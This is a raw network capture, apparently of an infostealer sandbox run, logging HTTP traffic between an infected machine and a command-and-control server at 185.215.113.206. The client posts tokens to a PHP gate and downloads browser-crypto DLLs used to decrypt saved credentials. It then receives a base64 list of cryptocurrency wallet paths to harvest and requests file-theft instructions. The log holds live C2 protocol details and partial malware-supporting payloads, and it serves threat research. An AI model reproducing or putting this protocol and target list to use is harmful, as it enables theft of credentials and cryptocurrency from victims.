Nov 11, 2024 19:52:19.777630091 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="file"------IDBKFHJEBAAEBGDGDBFB--
Nov 11, 2024 19:52:20.471930981 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:52:21.804784060 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:52:22.005665064 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 11, 2024 19:52:22.005676985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 11, 2024 19:52:22.005686998 CET	224	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D
Nov 11, 2024 19:52:22.005830050 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 11, 2024 19:52:22.005878925 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 11, 2024 19:52:22.005891085 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 11, 2024 19:52:22.006004095 CET	336	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 11, 2024 19:52:22.006053925 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Nov 11, 2024 19:52:22.006063938 CET	1236	IN	Data Raw: f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f 70 c9 e8 66 0f 62 f1 66 0f eb f2 66 0f 6f d0 66 0f fe 15 f0 20 08 10 83 c8 08 66 0f 6e 0c 07 66 0f 60 cb 66 0f 61 cb 66 0f 72 f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 Data Ascii: fpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxE
Nov 11, 2024 19:52:22.006076097 CET	1236	IN	Data Raw: 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 14 08 00 d3 0f b6 f3 8b 45 f0 0f b6 04 30 8b 7d f0 88 04 0f 8b 4d f0 88 14 31 00 d0 0f b6 c0 8b 4d f0 0f b6 0c 01 c1 e1 08 03 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 Data Ascii: EMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM
Nov 11, 2024 19:52:23.418899059 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:52:23.618968010 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 11, 2024 19:52:23.928517103 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:52:24.128786087 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 11, 2024 19:52:24.335340977 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:52:24.535016060 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 11, 2024 19:52:24.947180033 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:52:25.157207012 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 11, 2024 19:52:25.410512924 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:52:25.610596895 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 11, 2024 19:52:26.832755089 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:52:27.550534964 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:52:27.619117022 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"wallets------JDAKJDAAFBKFHIEBFCFB--
Nov 11, 2024 19:52:27.822297096 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 11, 2024 19:52:27.837709904 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="message"files------KFCGDBAKKKFBGDHJKFHJ--
Nov 11, 2024 19:52:28.039093971 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
